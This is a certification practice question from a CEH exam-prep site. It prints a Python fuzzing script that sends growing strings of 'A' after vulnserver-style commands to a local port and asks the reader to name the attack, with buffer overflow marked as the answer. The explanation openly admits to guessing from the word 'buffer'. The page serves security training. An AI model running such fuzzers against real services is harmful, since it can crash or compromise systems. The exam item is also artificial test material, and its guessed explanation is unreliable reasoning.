Certified Ethical Hacker CEH · Free Practice Question Hard

Question 80

Which attack following code indicates? #!/usr/bin/python import socket # Create a list of strings with increasing number of A's buffer = [] for i in range(50, 5050, 50): buffer.append("A" * i) # Define a list of commands to send commands = ["HELP", "STATS .", "RTIME .", "LTIME. ", "SRUN .", "TRUN .", "GMON .", "GDOG .", "KSTET .", "GTER .", "HTER .", "LTER .", "KSTAN ."] # Loop through each command and each buffer string for command in commands: for buffstring in buffer: # Print the current command and buffer length print(f"Exploiting {command}: {len(buffstring)}") # Create a socket and connect to the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 9999)) # Receive the welcome message s.recv(50) # Send the command and buffer string s.send(command + buffstring) # Close the socket s.close()
  • A A. Man in the middle attack
  • B B. SQL injection attack
  • C C. Buffer overflow attack
  • D D. Dictionary attack
Reveal correct answer

Correct answer: C

Explanation

Correct Answer: C. buffer overflow attack Explanation: Too technical to digest. For me too. However, I read the code and found ‘buffer’ word multiple times and hence guessed the correct answer as the buffer overflow attack. And yes, buffer overflow is the correct answer.

Discussion

Think the marked answer is wrong, or have a better explanation? Share it below — comments appear after review.

You must be logged in to post a comment.

Preparing For

Your Certification?

255+ certifications
Detailed explanations
Free PDF samples

Has All The Questions You Need